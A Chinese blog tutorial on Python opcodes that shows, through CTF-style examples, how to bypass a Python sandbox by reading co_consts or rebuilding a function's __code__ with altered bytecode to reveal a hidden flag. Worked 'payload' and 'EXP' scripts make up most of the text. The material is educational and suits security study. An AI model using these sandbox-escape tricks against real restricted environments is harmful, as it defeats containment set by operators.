使用OpCode绕过Python沙箱的方法详解


Posted in Python onSeptember 03, 2019

0x01 OpCode

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

如何查看一个函数的OpCode?

def a():
 if 1 == 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

通过此方法我们可以得到a函数的OpCode

Opcode of a(): 6401006402006b020072140064030047486e000064000053

我们可以通过dis库获得相应的解析结果。

import dis

dis.dis('6401006402006b020072140064030047486e000064000053'.decode('hex'))

得到反编译的结果

0 LOAD_CONST          1 (1)
      3 LOAD_CONST          2 (2)
      6 COMPARE_OP          2 (==)
      9 POP_JUMP_IF_FALSE    20
     12 LOAD_CONST          3 (3)
     15 LOAD_BUILD_CLASS
     16 YIELD_FROM    
     17 JUMP_FORWARD        0 (to 20)
>>   20 LOAD_CONST          0 (0)
     23 RETURN_VALUE

常见的字节码指令

为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch

在124行加入

print hex(op).ljust(6),

可以查看具体的字节码。

0 LOAD_CONST           0x64       1 (1)
      3 LOAD_CONST           0x64       2 (2)
      6 COMPARE_OP           0x6b       2 (==)
      9 POP_JUMP_IF_FALSE    0x72      20
     12 LOAD_CONST           0x64       3 (3)
     15 LOAD_BUILD_CLASS     0x47 
     16 YIELD_FROM           0x48 
     17 JUMP_FORWARD         0x6e       0 (to 20)
>>   20 LOAD_CONST           0x64       0 (0)
     23 RETURN_VALUE         0x53

变量

指令名 操作
LOAD_GLOBAL 读取全局变量
STORE_GLOBAL 给全局变量赋值
LOAD_FAST 读取局部变量
STORE_FAST 给局部变量赋值
LOAD_CONST 读取常量

IF

指令名 操作
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

CMP_OP

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')

其余的指令参考OpCode源码

0x02 利用OpCode改变程序运行逻辑

在Python中,我们可以对任意函数的__code__参数进行赋值,通过对其进行赋值,我们可以改变程序运行逻辑。

Example1

def a():
 if 1 == 2:
  print("flag{****}")

在沙箱环境中我们需要调用这个函数,但是此函数我们无法执行到print语句。因此我们需要通过某种方法得到flag

Solution 1

我们直接获取a.__code__.co_consts,查看所有的常量。即可知道flag

(None, 1, 2, 'flag{****}')

Solution 2

更改程序运行逻辑

CodeType构造函数

def __init__(self, argcount, nlocals, stacksize, flags, code,
     consts, names, varnames, filename, name, 
     firstlineno, lnotab, freevars=None, cellvars=None):

上述函数其余参数均可通过__code.__.co_xxx获得

因此我们

def a():
 if 1 == 2:
  print("flag{****}")

for name in dir(a.__code__):
 print name,getattr(a.__code__,name)

输出

co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab

co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()

构造相应目标代码

def a():
 if 1 != 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

得到code

6401006402006b030072140064030047486e000064000053

构造payload

def a():
 if 1 == 2:
  print("flag{****}")

newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code

a()

即可输出flag

Example 2

def target(flag):
 def printflag():
  if flag == "":
   print flag
 return printflag

flag = target("flag{*******}")

这一次因为是通过变量传入参数,我们无法通过上一次读co_consts获得变量。但是我们这次依旧可以通过重写code获得flag。

构造替代函数

def target(flag):
 def printflag():
  if flag != "":
   print flag
 return printflag
a = target("xxx")
import types
code = a.__code__.co_code.encode('hex')
print code

EXP

newcode = type(flag.__code__)
code = "8800006401006b030072140088000047486e000064000053".decode('hex')
code = newcode(0,0,2,19,code,(None, ''),(),(),"example2.py","printflag",2,"",('flag',),())
flag.__code__ = code
flag()

➜  python example2exp.py
8800006401006b030072140088000047486e000064000053
➜  python example2.py  
flag{*******}

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
从零学python系列之数据处理编程实例(二)
May 22 Python
python实现批量下载新浪博客的方法
Jun 15 Python
python用Pygal如何生成漂亮的SVG图像详解
Feb 10 Python
Python中scatter函数参数及用法详解
Nov 08 Python
Python对列表去重的多种方法(四种方法)
Dec 05 Python
Python实现图片尺寸缩放脚本
Mar 10 Python
python list是否包含另一个list所有元素的实例
May 04 Python
Python多进程fork()函数详解
Feb 22 Python
python异步实现定时任务和周期任务的方法
Jun 29 Python
django 通过url实现简单的权限控制的例子
Aug 16 Python
python_matplotlib改变横坐标和纵坐标上的刻度(ticks)方式
May 16 Python
Python类class参数self原理解析
Nov 19 Python
python实现单链表的方法示例
Sep 03 #Python
python中enumerate() 与zip()函数的使用比较实例分析
Sep 03 #Python
python网络编程之多线程同时接受和发送
Sep 03 #Python
springboot配置文件抽离 git管理统 配置中心详解
Sep 02 #Python
python生成随机红包的实例写法
Sep 02 #Python
Django发送邮件功能实例详解
Sep 02 #Python
python读取Excel表格文件的方法
Sep 02 #Python
You might like
多重?l件?合查?(一)
2006/10/09 PHP
PHP 设计模式之观察者模式介绍
2012/02/22 PHP
PHP 使用memcached简单示例分享
2015/03/05 PHP
php中的explode()函数实例介绍
2019/01/18 PHP
PHP利用curl发送HTTP请求的实例代码
2020/07/09 PHP
Aster vs KG BO3 第一场2.18
2021/03/10 DOTA
Aptana调试javascript图解教程
2009/11/30 Javascript
js toFixed()方法的重写实现精度的统一
2014/03/06 Javascript
浅析javascript的间隔调用和延时调用
2014/11/12 Javascript
Jquery 1.9.1源码分析系列(十二)之筛选操作
2015/12/02 Javascript
实例详解jQuery的无new构建
2016/08/02 Javascript
canvas 绘制圆形时钟
2017/02/22 Javascript
JS使用插件cryptojs进行加密解密数据实例
2017/05/11 Javascript
javascript 中select框触发事件过程的分析
2017/08/01 Javascript
vue拖拽组件使用方法详解
2018/12/01 Javascript
mock.js实现模拟生成假数据功能示例
2019/01/15 Javascript
JS实现数组去重及数组内对象去重功能示例
2019/02/02 Javascript
echarts统计x轴区间的数值实例代码详解
2019/07/07 Javascript
使用preload预加载页面资源时注意事项
2020/02/03 Javascript
Python利用Nagios增加微信报警通知的功能
2016/02/18 Python
django中的HTML控件及参数传递方法
2018/03/20 Python
Python txt文件加入字典并查询的方法
2019/01/15 Python
PyTorch的SoftMax交叉熵损失和梯度用法
2020/01/15 Python
Python dict和defaultdict使用实例解析
2020/03/12 Python
Python基于xlrd模块处理合并单元格
2020/07/28 Python
澳大利亚在线批发商:Simply Wholesale
2021/02/24 全球购物
民族团结先进个人事迹材料
2014/06/02 职场文书
单位实习鉴定评语
2015/01/04 职场文书
兴趣班停课通知
2015/04/24 职场文书
2015年售后服务工作总结
2015/04/25 职场文书
女方家长婚礼致辞
2015/07/27 职场文书
学校安全管理制度
2015/08/06 职场文书
电工生产实习心得体会
2016/01/22 职场文书
私人贷款担保书该怎么写呢?
2019/07/02 职场文书
MySQL 角色(role)功能介绍
2021/04/24 MySQL
nginx反向代理配置去除前缀案例教程
2021/07/26 Servers